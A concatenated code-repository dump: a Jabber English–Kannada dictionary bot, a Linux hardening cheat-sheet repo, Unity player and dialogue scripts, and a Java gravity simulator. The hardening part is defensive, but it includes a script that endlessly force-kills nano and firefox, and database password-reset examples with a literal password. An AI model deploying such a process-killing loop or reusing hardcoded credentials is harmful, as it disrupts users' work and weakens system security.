self.logger.infologger.info("Got request: {0}".format(msg['body'].strip()))
reply = ParserBridge(msg, self.lang, self.logger).process()
if reply and type(reply).__name__ == 'tuple':
self.make_message(msg['from'], reply[0],
'Re: ' + msg['subject'],
msg['type'], reply[1],
self.jid, 'dictbot').send()
elif reply and type(reply).__name__ == 'str':
# multiple words received so send string output
self.make_message(msg['from'], reply).send()
else:
#TODO: temporary need to handle meaning adding
self.logger.errorlogger.error('Meaning not found: {0}'.format(msg['body'].strip()))
self.make_message(msg['from'], not_found_output).send()
def spawn_newbot(jid, password, logger):
xmpp = DictBot(jid, password, logger)
if xmpp.connect():
xmpp.process(block=True)
else:
print "Unable to Connect."
def main():
"""
Main driver for the bot. First check for the configuration file
and load values from it. Then check if the same value is passed
as arguments then override the value from the configuration file
Once values are obtained then start the bot
"""
custompathstem = os.path.join(os.environ['DICTBOT_CONFIGDIR'],
'dictbot.conf') \
if 'DICTBOT_CONFIGDIR' in os.environ \
else None
log_file = os.path.join(os.environ['DICTBOT_LOGDIR'],
'dictbot.log')\
if 'DICTBOT_LOGDIR' in os.environ \
else '/var/log/dictbot.log'
config_file = custompathstem if custompathstem and os.path.exists(
custompathstem)\
else '/etc/dictbot/dictbot.conf'
configdict = yaml.load(file(config_file).read())
parser = ArgumentParser(description='A Jabber Dictionary Bot')
parser.add_argument(
'-j', '--jid',
help='Jabber ID for the bot to connect.',
required=False)
parser.add_argument(
'-p', '--password',
help='Password for Jabber account',
required=False)
parser.add_argument('-d', '--debug', help='set logging to DEBUG',
action='store_const', dest='loglevel',
const=logging.DEBUG, default=logging.DEBUG)
args = parser.parse_args()
debug = logging.DEBUG if 'debug' in configdict and\
configdict.get('debug') == 1 else logging.ERROR
logger = LogHandler(debug, log_file)
logging.basicConfig(level=debug,
format='%(levelname)-8s %(message)s')
if len(configdict.get('jabber')) == 1:
acdetails = configdict.get('jabber')[0]
jid = acdetails.get('jid')\
if 'jid' in acdetails else args.jid
password = acdetails.get('password')\
if 'password' in acdetails else args.password
if not jid or not password:
print """Please provide JID and Password either through config or
command line options"""
sys.exit(2)
xmpp = DictBot(jid, password, logger)
if xmpp.connect():
xmpp.process(block=True)
else:
print "Unable to connect"
else:
accounts = configdict.get('jabber')
for acnt in accounts:
jid = acnt.get('jid')
password = acnt.get('password')
p = Process(target=spawn_newbot, args=(jid, password, logger))
p.start()
p.join(15)
if __name__ == "__main__":
main()
<file_sep>"""
A module to handle HTTP connection and retrive data
in case of error return proper error message and log
it appropriately.
"""
from urllib2 import Request, urlopen
def connect(url):
request = Request(url)
request.add_header('User-Agent',"Mozilla/5.0")
response = None
try:
response = urlopen(request).read()
except Exception as e:
return e
return response
<file_sep>import logging
from logging.handlers import RotatingFileHandler
class LogHandler:
"""
Create Logger required for data and
error logging
"""
def __init__(self, debug, logpath):
self.infologger = logging.getLogger("DATA")
self.errorlogger = logging.getLogger("MAINTENANCE")
handler = RotatingFileHandler(logpath, maxBytes=10000000, backupCount=10)
handler.setLevel(debug)
formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
handler.setFormatter(formatter)
self.infologger.addHandler(handler)
self.errorlogger.setLevel(debug)
handler.setLevel(logging.INFO)
self.errorlogger.addHandler(handler)
self.infologger.setLevel(logging.INFO)
<file_sep>#!/usr/bin/python
#-*- coding: utf-8 -*-
welcome_output = """ನಮಸ್ಕಾರ!
ನಾನು ಇಂಗ್ಲೀಷ್ - ಕನ್ನಡ ಡಿಕ್ಷನರಿ ಬಾಟ್
ನಾನು ಕನ್ನಡ ವೀಕ್ಷ್ನರಿಯ ಸಹಾಯದಿಂದ ಪದಗಳ ಅರ್ಥವನ್ನು ಹೇಳಬಲ್ಲೆ.
ಅರ್ಥ ತಿಳಿಯಲು ಶಬ್ದವನ್ನು ನನಗೆ ಕಳುಹಿಸಿ.
ಶುಭ ದಿನ!"""
ask_meaning_output = """
ನೀವು ಪದಕ್ಕೆ ಅರ್ಥ ಸೇರಿಸಬೇಕಿದ್ದರೆ,
#add english-word: ಕನ್ನಡದ ಅರ್ಥ
ಬರೆದು ಕಳಿಸಿ.ಒಂದಕ್ಕಿಂತ ಹೆಚ್ಚು ಅರ್ಥಗಳಿದ್ದರೆ "," ಬಳಸಿ.
"""
thanks_output = """
ಪದವನ್ನು ಸೇರಿಸಿದ್ದಕ್ಕೆ ಧನ್ಯವಾದಗಳು.
ಎಲ್ಲಾ ಪದಗಳನ್ನು ವಿಕಿಷನರಿ ತಂಡಕ್ಕೆ ಕಳಿಸಬೇಕಾದ್ದರಿಂದ ಸಲ್ಪ ಸಮಯ ತೆಗೆದುಕೊಳ್ಳುತ್ತದೆ.
ಒಮ್ಮೆ ಪದಗಳನ್ನು ವಿಕಿಷನರಿ ಗೆ ಸೇರಿಸಿದ ಬಳಿಕ ಅವನ್ನು ಬಳಸಬಹುದು.
"""
not_found_output = """
ಕ್ಷಮಿಸಿ ಈ ಪದದ ಅರ್ಥ ನನಗೆ ತಿಳಿದಿಲ್ಲ!
"""
<file_sep>
class WiktionaryParser:
def __init__(self, logger):
self.xhtml_im_header = """
<html xmlns='http://jabber.org/protocol/xhtml-im'>
<body xmlns='http://www.w3.org/1999/xhtml'>
"""
self.xhtml_im_footer = """
</body>
</html>
"""
self.logger = logger
def get_meaning(self, data):
pass
<file_sep>#!/usr/bin/python
from wiktionaryparsers.knwikiparser import KNWiktionaryParser
from guesslanguage import getInstance
from httphandler import connect
from sleekxmpp import Message
__wiktionary_url__ = 'wiktionary.org/w/api.php?action=parse&format=json&prop=text|revid|displaytitle&callback=?&page='
class ParserBridge:
"""
A Bridge between bot and the parsing logic
"""
def __init__(self, msg, lang, logger):
"""
Initialize the bridge object
:param msg: Message stanza from the bot which
needs to be processed
"""
self.body = msg['body'].strip()
self.from_id = msg['from']
self.to_id = msg['to']
self.subject = msg['subject']
self.id = msg['id']
self.type = msg['type']
self.langguesser = getInstance()
self.logger = logger
self.lang = lang
self.parserdict = {
'kn_IN':KNWiktionaryParser(self.logger),
}
def _process_word(self, langid, word):
parser = self.parserdict.get(langid)
url = 'http://' + langid.split('_')[0] + '.' + __wiktionary_url__ + word
data = connect(url)
if data and type(data).__name__ == 'str':
return parser.get_meaning(data)
else:
self.logger.errorlogger.exception('Something went wrong: {0} and {1}'.format(data.message, url))
def process(self):
message = None
if len(self.body.split()) > 1:
print 'inside muliword'
# We have more than one please send back an error
return "Sorry please send me one word at a time!"
else:
langid = self.langguesser.guessLanguageId(self.body)
if langid in self.parserdict:
message = self._process_word(langid, self.body)
elif langid == 'en_US':
message = self._process_word(self.lang, self.body)
return message
<file_sep>#!/bin/bash
set -x
PID_FILE=/var/run/eng-kn-bot.pid
kill -9 `cat $PID_FILE`
<file_sep>Dictionary Bot for Wiktionary
=============================
TODO
----
* Enable multiple account login
* Enable multi account for multi lingual bots
* Enable meaning collection using XEP-0004 (DataForms)
* Move the xml construction logic totally to bridge to avoid polluting
wiktionary parsers
<file_sep>#!/bin/bash
#set -x
python /home/vasudev/Documents/sanchaya/kannada-dictionary-bot/eng-kan-bot.py
<file_sep>from knwikiparser import KNWiktionaryParser
|
ae889d4428e6b2ecc7a5f706291e461adddf47a2
|
[
"Markdown",
"Python",
"Shell"
] | 11 |
Python
|
kartikm/dictionary-bot
|
7ab4f457832b2403e74004898a135456e6e10b37
|
e1569243bf7f91b8ae4ca69641bacb9cfd8410ef
|
refs/heads/master
|
<file_sep>#!/bin/python
from time import sleep
from subprocess import run, call
procs = ['nano', 'firefox']
cond = True
while cond == True:
try:
for proc in procs:
cmd = 'pkill -f '+ proc
call(cmd, shell=True)
except Exception as E:
print(E)
<file_sep>### General:
Always remember man pages
#### Package managers
Debian/Ubuntu = apt/apt-get
Metasploitable = apt-get
Red Hat/Cent-OS/Fedora/Amazon Linux = yum
Arch Linux = pacman
#### Basic IP Tables
#### Check Existing iptables
iptables -L
##### Block Single IP address, all ports
iptables -A INPUT -s <IP> -j DROP
##### Block Single IP address, single port
iptables -A INPUT -s <IP> -p tcp --destination-port <portnumber>-j DROP
##### Block All Ports
iptables -A INPUT -p tcp --destination-port <PORT> -j DROP
##### only drop port for given IP or Subnet
iptables -A INPUT -i eth0 -p tcp --destination-port <PORT> -s {IP-ADDRESS-HERE} -j DROP
### Advanced IP Tables
#### How to notice red team
##### Look for strange processes
htop
##### Look at security logs
tail -f
/var/log/secure
/var/log/messages
/var/log/auth.log
Netstat
netstat -tulpna
#### New User Configuration files
/etc/skel
/etc/adduser.conf
##### To add a new user
useradd <username>
adduser <username>
#### Configuration files for new users are located at /etc/skel and in /etc/adduser.conf
##### To make a sudo user
usermod -a -G sudo <username>
##### How to change a password
##### Single user
passwd <username>
##### Group
passwd -g <groupname>
##### Lock Accounts:
#### Delete the user record from /etc/passwd
#### Disable login the user record from /etc/passwd
/bin/nologin
##### Lock account and make it inaccessible
passwd <username> -l -expiredate 1
#### Grep commands
##### Find String in all Files
grep -rnw <pattern> <path>
#### Killing Processes
kill -9 ${ ps aux| grep <process_name>}
pkill <process_name>
#### System Commands
##### Sysvinit Command & Systemd Commands
###### Used to start a service (not reboot persistent)
service frobozz start
systemctl start frobozz
###### Used to stop a service (not reboot persistent)
service frobozz stop
systemctl stop frobozz
###### Used to stop and then start a service
service frobozz restart
systemctl restart frobozz
###### When supported, reloads the config file without interrupting pending operations.
service frobozz reload
systemctl reload frobozz
###### Restarts if the service is already running.
service frobozz condrestart
systemctl condrestart frobozz
###### Tells whether a service is currently running.
service $Service-name status
systemctl status $Service-name
ls /etc/rc.d/init.d/
systemctl list-unit-files
ls /lib/systemd/system/*.service /etc/systemd/system/*.service
chkconfig $Service-name
### IDS:
Fail2ban
Psad
Bro && broctl
Suricata
### Check cronjobs
crontab -l
#### For all users
for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l; done
### Mysql
mysql_secure_installation
mysql --user=root mysql -p
SELECT User FROM mysql.user;
ALTER USER dbadmin@localhost IDENTIFIED BY 'littlewhale';
### Postgres
#### Run query from command line: *username is usually postgres
psql -U username -d mydatabase -c 'SELECT * FROM mytable'
#### This query below changes a users account with name super
ALTER ROLE super WITH PASSWORD '<PASSWORD>';
<file_sep>#!/usr/bin/bash
#must run as root
iface='eno1'
sshd_port=$1
seconds=60
hits=4
ssh_rule0="-I INPUT -p tcp --dport $sshd_port -i $iface -m state --state NEW -m recent --set"
ssh_rule1="-I INPUT -p tcp --dport $sshd_port -i $iface -m state --state NEW -m recent --update --seconds $seconds --hitcount $hits -j DROP"
rules_conf='/etc/iptables.rules'
line_break="=================================="
iptables -L;
printf $line_break;
read -p "These are the current rules, do you want to continue? (y)" -n 1 -r;
if ! [[ $REPLY =~ ^[Yy]$ ]]; then
exit 1;
else
printf "interface $iface";
printf "port $sshd_port";
printf "every $seconds seconds";
printf "hits $hits";
printf $line_break;
fi
read -p "Correct variables? (y)" -n 1 -r;
if ! [[ $REPLY =~ ^[Yy]$ ]]; then
exit 1;
else
iptables $ssh_rule0;
iptables $ssh_rule1;
iptables-save > '$rules_conf';
iptables-restore < '$rules_conf';
fi
printf $line_break;
fi
#
printf $line_break;
iptables -L;
printf $line_break;
printf "REMEMBER to save set a cronjobs or in rc.local to have \" pre-up iptables-restore < $rules_conf\" in it.";
<file_sep>'Nix Sheet
See Operating System and Version
Uname -a
Cat /etc/issue
Find Open Ports on Machine
nmap localhost -sV-oNscan.txt
SSH Configuration
Check /etc/sshd_config
Find / -name “*key*” >> keysearch.txt
Find / -name “*key.pub*” >> keysearch.txt
Check User Accounts
/etc/passwd
Check Running Services
(systemd) systemctl list-unit-files
(sysvinit) chkconfig --list
Check cronjobs
crontab -l
For all users
for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l; done
Mysql
mysql --user=root mysql -p
SELECT User FROM mysql.user;
ALTER USER dbadmin@localhost IDENTIFIED BY 'littlewhale';
Postgres
Run query from command line: *username is usually postgres
psql -U username -d mydatabase -c 'SELECT * FROM mytable'
This query below changes a users account with name super
ALTER ROLE super WITH PASSWORD '<PASSWORD>';
|
aa422d5ec303be3125fb3b30f421f132c3eb41e3
|
[
"Markdown",
"Python",
"Shell"
] | 4 |
Python
|
git-gud-1/linux-hardening
|
b9e8a36f0833571fc6ff3aace2bc83bd1f1e470c
|
9fa313adb9496716f654ae4a5fbecdd085a2c0a1
|
refs/heads/main
|
<repo_name>Pur00/Unity-Basic-Gameplay-Codes<file_sep>/topDownGamePlayerMovement.cs
// This code is for the movement of the player in top-down games.
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
public class topDownGamePlayerMovement : MonoBehaviour
{
public int walkingSpeed = 5;
int runningSpeed, counter = 9999;
bool moving = false, action = false;
public Animator animator;
public Text stepCounter;
void Update()
{
// भागने के लिए
if (Input.GetAxis("Jump") != 0)
runningSpeed = walkingSpeed * 2;
else
runningSpeed = walkingSpeed;
// चलने के लिए है
float leftRight = Input.GetAxis("Horizontal"),
upDown = Input.GetAxis("Vertical");
Vector2 movePlayer = new Vector2(leftRight, upDown);
GetComponent<Rigidbody2D>().velocity = movePlayer * runningSpeed;
// मुड़ने के लिए
if (GetComponent<Rigidbody2D>().velocity.x < 0)
{
Vector3 ltemp = transform.localScale;
ltemp.x = 0.1f;
transform.localScale = ltemp;
}
else if (GetComponent<Rigidbody2D>().velocity.x > 0)
{
Vector3 ltemp = transform.localScale;
ltemp.x = -0.1f;
transform.localScale = ltemp;
}
// चलने वाला एनिमेशन
if (Input.GetAxis ("Horizontal") == 0
&& Input.GetAxis ("Vertical") == 0)
moving = false;
else
{
moving = true;
counter--; // कितने कदम चल चुका है
if (Input.GetAxis ("Jump") != 0)
counter -= 2;
}
animator.SetBool("moving", moving);
stepCounter.text = counter.ToString();
// गला खींचना
if (Input.GetButtonDown ("Jump"))
action = true;
else if (!Input.GetButtonDown ("Jump"))
action = false;
animator.SetBool("action", action);
}
}
<file_sep>/dialogue.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
using UnityEngine.SceneManagement;
public class dialogue : MonoBehaviour
{
public Text text;
public string[] lines;
public float speed;
int index;
public Transform determinator;
public bool levelEndsHere;
void Start()
{
index = 0;
StartCoroutine (Type());
}
void Update()
{
// ॥ कोड करने के दौरान ग्लिच आ रही थी इसलिए ये किया ॥
if (text.text == string.Empty) NextLine();
if (Input.GetButtonDown("Fire1"))
{
if (text.text == lines[index]) NextLine();
else
{
StopAllCoroutines();
text.text = lines[index];
}
}
}
void NextLine()
{
if (index < lines.Length - 1)
{
index++;
text.text = string.Empty;
StartCoroutine (Type());
}
else
{
Vector3 moveDeterminator = determinator.position;
moveDeterminator.x++;
determinator.position = moveDeterminator;
gameObject.SetActive (false);
if (levelEndsHere == true)
SceneManager.LoadScene (SceneManager.GetActiveScene().buildIndex + 1);
}
}
IEnumerator Type()
{
// ॥ एकएक अक्षर टाइप करेगा ॥
foreach (char i in lines[index].ToCharArray())
{
text.text += i;
yield return new WaitForSeconds (speed);
}
}
}<file_sep>/README.md
# Unity-Basic-Gameplay-Codes
All the C# codes you need for making a third or first person game in Unity 3D. This list will keep on expanding in the future. Any suggestions will also be welcome
The names of the variables have been kept as generic as possible, assuming those are what you named your variables. In case your variable names are different, I am assuming you to be smart enough to change the variable names.
|
a9f5c8b5151ae414d382730b848105086e7b00f1
|
[
"Markdown",
"C#"
] | 3 |
C#
|
Pur00/Unity-Basic-Gameplay-Codes
|
af790abca0a09e58fcfc1bcfb2ae4b4e1743f013
|
36fe68a98adc3535dbbfae739963283ee468eb80
|
refs/heads/master
|
<repo_name>dasei/gravi-sim<file_sep>/Gravity Sim/src/physics/Body.java
package physics;
import java.awt.Image;
import javax.swing.ImageIcon;
import main.Main;
import physics.Physics.AnalazysResult;
public class Body {
public double mass;
public double x;
public double y;
public double vx;
public double vy;
public double volume;
public double radiusMeters;
public final boolean posFixed;
// stats of info tag
// used to display data like name
public int infoTagXPix;
public int infoTagYPix;
public int infoTagWidthPix;
public int infoTagHeightPix;
public int infoTagFontSize;
private String name;
private long id = Main.getNewID();
private String gifUrl;
private Image gif;
private float gifPadding = 0;
/**
* specifies the body this body is rotating around
*/
private Body centerBody;
private AnalazysResult analasysResult;
// public Body(double mass, double x, double y, double vx, double vy, boolean posFixed){
//
// this.mass = mass;
// this.x = x;
// this.y = y;
// this.vx = vx;
// this.vy = vy;
//
// this.posFixed = posFixed;
// }
public Body(double mass, double x, double y, double vx, double vy, boolean posFixed, String name, double density){
this.mass = mass;
this.x = x;
this.y = y;
this.vx = vx;
this.vy = vy;
this.posFixed = posFixed;
this.setName(name);
// p = m / V
this.volume = this.mass / density;
// V = 4/3 * r³ * pi
this.radiusMeters = Math.cbrt(this.volume/((4D/3D) * Math.PI));
}
/**
* creates a Body Object. if usePosition/useSpeed is true, position/speed of reference object
* is added to x & y / xx & vy
*/
public Body(Body reference, boolean usePosition, boolean useSpeed, double mass, double x, double y, double vx, double vy, boolean posFixed, String name, double density){
this.centerBody = reference;
this.mass = mass;
this.x = x;
this.y = y;
this.vx = vx;
this.vy = vy;
this.posFixed = posFixed;
this.setName(name);
// p = m / V
this.volume = this.mass / density;
// V = 4/3 * r³ * pi
this.radiusMeters = Math.cbrt(this.volume/((4D/3D) * Math.PI));
if(reference == null){
System.out.println("given Body equals null, using given params");
}else{
if(usePosition){
this.x += reference.x;
this.y += reference.y;
}
if(useSpeed){
this.vx += reference.vx;
this.vy += reference.vy;
}
}
//if(usePosition)
}
private double forceCacheX = 0;
private double forceCacheY = 0;
public void addForce(double x, double y){
if(this.posFixed)
return;
forceCacheX += x;
forceCacheY += y;
}
public void applyForces(double timeInterval, boolean clearForcesOnEnd){
if(this.posFixed)
return;
// F = m * a
// F / m = a
// v = a * t
// => v = (F / m) * t
this.vx += (this.forceCacheX / this.mass) * timeInterval;
this.vy += (this.forceCacheY / this.mass) * timeInterval;
this.x += this.vx * timeInterval;
this.y += this.vy * timeInterval;
if(clearForcesOnEnd){
forceCacheX = 0;
forceCacheY = 0;
}
}
public void resetForceCache(){
this.forceCacheX = 0;
this.forceCacheY = 0;
}
public String toString() {
return
"Body: " + (this.name == null ? "<null>" : this.name)
+ ", " + this.id;
}
public String toString2() {
return
"Body: " + (this.name == null ? "<null>" : this.name)
+ ", mass: " + this.mass
+ ", x: " + this.x
+ ", y: " + this.y
+ ", speedX: " + this.vx
+ ", speedY: " + this.vy;
}
public void setGIF(String url, float paddingPercentage) {
this.gifUrl = url;
this.gifPadding = paddingPercentage;
}
public Image getGIF() {
if(gif == null && gifUrl != null)
// try {
gif = new ImageIcon(gifUrl).getImage();
// } catch ( exc) {
// exc.printStackTrace();
// }
return gif;
}
/**
* @param percentage specifies gap between gif and body oval
* if negative, gif will be bigger than oval
*/
public void setGIFPadding(float percentage) {
this.gifPadding = percentage;
}
public float getGIFPadding() {
return this.gifPadding;
}
public void setName(String name) {
this.name = name.replace(":", "_");
}
public String getName(){
return this.name;
}
public void setCenterBody(Body body){
this.centerBody = body;
}
public Body getCenterBody(){
return this.centerBody;
}
public void setAnalysisResult(AnalazysResult result){
this.analasysResult = result;
}
public AnalazysResult getAnalysisResult(){
return this.analasysResult;
}
}
<file_sep>/Gravity Sim/src/physics/Functions.java
package physics;
public class Functions {
public static double calcDistance(Body b0, Body b1){
return Math.sqrt(((b1.x - b0.x)*(b1.x - b0.x)) + ((b1.y - b0.y)*(b1.y - b0.y)));
}
public static double calcGravityForce(double m1, double m2, double distance) {
return (m1*m2*6.674E-11) / (distance * distance);
}
/**
* @returns degree from base to target
* (=> base = center of polar coordinate space,
* 0° = positive y axis)
*/
public static double getDegree(Body base, Body target) {
return Math.atan2(target.x - base.x, target.y - base.y);
}
}
<file_sep>/README.md
# <NAME> / "Gravitos"
A simulation of our solar system in Java, presented at a highschool science fair.
The Simulation will track every body for an entire rotation and determine Apoapsis, Periapsis,... to draw the corresponding orbits.
<file_sep>/Gravity Sim/src/window/DrawComp.java
package window;
import java.awt.BasicStroke;
import java.awt.Color;
import java.awt.Font;
import java.awt.Graphics;
import java.awt.Graphics2D;
import java.awt.Image;
import java.awt.Point;
import java.awt.event.MouseEvent;
import java.awt.geom.Point2D;
import java.io.File;
import java.util.ArrayList;
import javax.imageio.ImageIO;
import javax.swing.JComponent;
import javax.swing.SwingUtilities;
import main.Controller;
import main.Main;
import physics.Body;
import physics.Physics.AnalazysResult;
public class DrawComp extends JComponent{
private static final long serialVersionUID = 41048338189849420L;
public static final String BACKGROUND_IMAGE_PATH = "res/background/galaxy.jpg";
public static enum ColorPreset{
LIGHT(new Color(255, 255, 255), new Color(96, 101, 109), new Color(0, 0, 0)),
DARK(new Color(0, 0, 0), new Color(96, 101, 109), new Color(255, 255, 255)),
RED(new Color(0, 0, 0), new Color(255,255,255), new Color(209, 0, 0));
public final Color background;
public final Color midground;
public final Color foreground;
private ColorPreset(Color background, Color midground, Color foreground) {
this.background = background;
this.midground = midground;
this.foreground = foreground;
}
}
// private double pxInMeters = 100000;
private double pxInMeters = 1E9;
private boolean shouldRepaint = true;
private int cameraOffsetXPix;
private double cameraOffsetXMeters;
private int cameraOffsetYPix;
private double cameraOffsetYMeters;
private int lastWidth;
private int lastHeight;
//draw options
public static final boolean drawBodyInfoTagsOnDefault = true;
private boolean drawBodyInfoTags = drawBodyInfoTagsOnDefault;
public static final boolean drawFocusPointsOnDefault = true;
private boolean drawFocusPoints = drawFocusPointsOnDefault;
public static final boolean drawWithDensityOnDefault = true;
private boolean drawWithDensity = drawWithDensityOnDefault;
public static final boolean drawGIFsOnDefault = true;
private boolean drawGIFs = drawGIFsOnDefault;
public static final boolean drawBodyOutlineOnDefault = true;
private boolean drawBodyOutline = drawBodyOutlineOnDefault;
public static final boolean drawEllipseOnDefault = true;
private boolean drawEllipse = drawEllipseOnDefault;
public static final boolean drawBackgroundImageOnDefault = false;
private boolean drawBackgroundImage = drawBackgroundImageOnDefault;
public static final boolean onlyDrawEllipseIfBodyVisibleOnDefault = true;
private boolean onlyDrawEllipseIfBodyVisible = onlyDrawEllipseIfBodyVisibleOnDefault;
public static final boolean drawTimePassedOnDefault = false;
private boolean drawTimePassed = drawTimePassedOnDefault;
public static final float defaultDrawObjectScaleFactor = 1;
private float drawObjectScaleFactor = defaultDrawObjectScaleFactor;
public static final float defaultDrawInfoTagScaleFactor = 1;
private float drawInfoTagScaleFactor = defaultDrawInfoTagScaleFactor;
public static final int defaultDrawEllipseThickness = 1;
private BasicStroke drawEllipseStroke = new BasicStroke(defaultDrawEllipseThickness);
public static final BasicStroke defaultStroke = new BasicStroke(1);
private Controller controller;
private final ColorPreset defaultColorPreset = ColorPreset.DARK;
private Color colorBackground;
private Color colorMidground;
private Color colorForeground;
private Image imageBackground;
// public static final int FPSMAX = 60;
// private long tmpTimeStart;
public static final Font fontScaleDefault = new Font("Dialog", Font.PLAIN, 12);
public static final Font fontInfoTagsDefault = new Font("Dialog", Font.PLAIN, 12);
private Font fontInfoTags = fontInfoTagsDefault;
public static final Font fontTimePassed = new Font("consolas", Font.BOLD, 15);
public DrawComp() {
// this.setOpaque(true);
loadColorPreset(defaultColorPreset);
}
public void paintComponent(Graphics g) {
if(!shouldRepaint)
return;
// tmpTimeStart = System.currentTimeMillis();
Graphics2D g2 = (Graphics2D) g;
if(controller == null) {
controller = Main.getController();
if(controller == null)
return;
}
ArrayList<Body> bodies = controller.getBodies();
////// all offset-modifying related things
//modify offset if drawcomp was resized
if(this.getWidth() != this.lastWidth || this.getHeight() != this.lastHeight) {
this.centerCamera((this.lastWidth/2 - this.cameraOffsetXPix) * this.pxInMeters, (this.lastHeight/2 - this.cameraOffsetYPix) * this.pxInMeters);
}
//focus Camera on bodyToFollow or apply mouse drag
this.applyMouseDrag();
//draw background
drawBackground(g2);
//draw bodies /w infotags
int radiusPix;
if(bodies != null){
g2.setColor(colorForeground);
boolean bodyVisible;
if(drawWithDensity) {
float radiusWithPaddingPix;
for(Body b : bodies) {
radiusPix = (int) ((b.radiusMeters / this.pxInMeters) * this.drawObjectScaleFactor);
bodyVisible = isBodyVisibleOnScreen(b, radiusPix);
if(bodyVisible || !onlyDrawEllipseIfBodyVisible)
drawEllipseWithFocusPoints(g2, b);
if(bodyVisible) {
if(this.drawGIFs && b.getGIF() != null) {
radiusWithPaddingPix = (1 - b.getGIFPadding()) * radiusPix;
if(radiusWithPaddingPix > 2) {
g2.drawImage(
b.getGIF(),
(int) (cameraOffsetXPix + (b.x/pxInMeters) - (radiusWithPaddingPix)),
(int) (cameraOffsetYPix + (b.y/pxInMeters) - (radiusWithPaddingPix)),
(int) (radiusWithPaddingPix * 2) + 2,
(int) (radiusWithPaddingPix * 2) + 2,
null);
}
}
if(this.drawBodyOutline)
g2.drawOval(cameraOffsetXPix + (int)(b.x/pxInMeters) - radiusPix, cameraOffsetYPix + (int)(b.y/pxInMeters) - radiusPix, radiusPix*2, radiusPix*2);
}
}
}else {
radiusPix = (int)(5 * this.drawObjectScaleFactor);
float radiusWithPaddingPix;
for(Body b : bodies) {
bodyVisible = isBodyVisibleOnScreen(b, radiusPix);
if(bodyVisible || !onlyDrawEllipseIfBodyVisible)
drawEllipseWithFocusPoints(g2, b);
if(bodyVisible) {
if(this.drawGIFs && b.getGIF() != null) {
radiusWithPaddingPix = (1 - b.getGIFPadding()) * radiusPix;
g2.drawImage(
b.getGIF(),
(int) (cameraOffsetXPix + (b.x/pxInMeters) - (radiusWithPaddingPix)),
(int) (cameraOffsetYPix + (b.y/pxInMeters) - (radiusWithPaddingPix)),
(int) (radiusWithPaddingPix * 2) + 2,
(int) (radiusWithPaddingPix * 2) + 2,
null);
}
if(this.drawBodyOutline)
g2.drawOval(cameraOffsetXPix + (int)(b.x/pxInMeters) - radiusPix, cameraOffsetYPix + (int)(b.y/pxInMeters) - radiusPix, radiusPix*2, radiusPix*2);
}
}
}
//recalc body info tag positions
if(drawBodyInfoTags) {
//TODO only re instantiate font if this.drawInfoTagScaleFactor has changed since last draw
fontInfoTags = new Font( fontInfoTagsDefault.getName(), fontInfoTagsDefault.getStyle(), (int) (fontInfoTagsDefault.getSize() * this.drawInfoTagScaleFactor));
recalcBodyInfoTags(g, bodies);
drawBodyInfoTags(g, bodies);
}
}
this.drawScale(g2);
this.drawTime(g2);
//save last width & height, to notice when component was resized (also maximized or minimized)
// => max-/ minimizing the window will not be noticed by a ComponentListener
lastWidth = this.getWidth();
lastHeight = this.getHeight();
// //wait, so that MAXFPS wont be overstepped
// long tmpTimeTaken = System.currentTimeMillis() - tmpTimeStart;
// if(tmpTimeTaken < 1000/FPSMAX)
// try {
// Thread.sleep(1000/FPSMAX - tmpTimeTaken);
// }catch(Exception e) {
// }
}
private void drawEllipseWithFocusPoints(Graphics2D g2, Body bodyRotator) {
if(bodyRotator.getAnalysisResult() == null || !isEllipseVisibleOnScreen(bodyRotator))
return;
if(!drawEllipse && !drawFocusPoints)
return;
AnalazysResult analazysResult = bodyRotator.getAnalysisResult();
if(analazysResult == null)
return;
double degreeRadians = -analazysResult.maxDistanceDegree + (Math.PI/2);
double eLin = analazysResult.eLin / pxInMeters;
//zeichnen der Brennpunkte
double yB1 = Math.sin(-degreeRadians) * eLin;
double xB1 = Math.cos(-degreeRadians) * eLin;
double yB2 = Math.sin(-degreeRadians) * -eLin;
double xB2 = Math.cos(-degreeRadians) * -eLin;
double centerX = cameraOffsetXPix - xB2 + (bodyRotator.getCenterBody().x / this.pxInMeters);
double centerY = cameraOffsetYPix + yB2 + (bodyRotator.getCenterBody().y / this.pxInMeters);
if(drawFocusPoints) {
g2.setColor(colorMidground);
g2.fillRect((int) (centerX + xB1) - 1, (int) (centerY - yB1) - 1, 3, 3);
g2.fillRect((int) (centerX + xB2) - 1, (int) (centerY - yB2) - 1, 3, 3);
}
if(drawEllipse) {
drawEllipse(g2, analazysResult.a / pxInMeters, analazysResult.b / pxInMeters, degreeRadians, bodyRotator.getCenterBody(), centerX, centerY);
}
}
private void drawEllipse(Graphics2D g2, double aPix, double bPix, double degreeRadians, Body bodyCenter, double centerX, double centerY) {
//width of ellipse
g2.setStroke(drawEllipseStroke);
g2.setColor(colorMidground);
double schrittweite = 2;
int wdh = (int)(4*aPix);
// double ellipseCenterX = cameraOffsetXPix + offsetX;
// double ellipseCenterY = cameraOffsetYPix + offsetY;
double ellipseCenterX = centerX;
double ellipseCenterY = centerY;
int pointStartX = 0, pointStartY = 0;
int pointCacheX = 0, pointCacheY = 0;
double x = -aPix;
boolean rechts = true;
for (int i = 0; i < wdh; i++){
//rechts
if(rechts){
double xNeu = Math.cos(degreeRadians) * x;
double yn1 = (bPix / aPix) * Math.sqrt((aPix * aPix) - (x * x));
double ynNeu = Math.sin(degreeRadians) * x;
double z = Math.cos(degreeRadians) * yn1;
double u = Math.sin(degreeRadians) * yn1;
if(i == 0){
pointCacheX = (int)(xNeu + u + ellipseCenterX);
pointCacheY = (int)(ynNeu - z + ellipseCenterY);
pointStartX = pointCacheX;
pointStartY = pointCacheY;
}else{
g2.drawLine(pointCacheX, pointCacheY, (int)(xNeu + u + ellipseCenterX), (int)(ynNeu - z + ellipseCenterY));
pointCacheX = (int)(xNeu + u + ellipseCenterX);
pointCacheY = (int)(ynNeu - z + ellipseCenterY);
}
x += schrittweite;
if(x > aPix) {
rechts = false;
x = aPix;
continue;
}
//links
}else{
double xNeu = Math.cos(degreeRadians) * x;
double yn1 = (bPix / aPix) * Math.sqrt(aPix * aPix - x * x);
double ynNeu = Math.sin(degreeRadians) * x;
double z = Math.cos(degreeRadians) * yn1;
double u = Math.sin(degreeRadians) * yn1;
//draw line
g2.drawLine(pointCacheX, pointCacheY, (int)(xNeu - u + ellipseCenterX), (int)(ynNeu + z + ellipseCenterY));
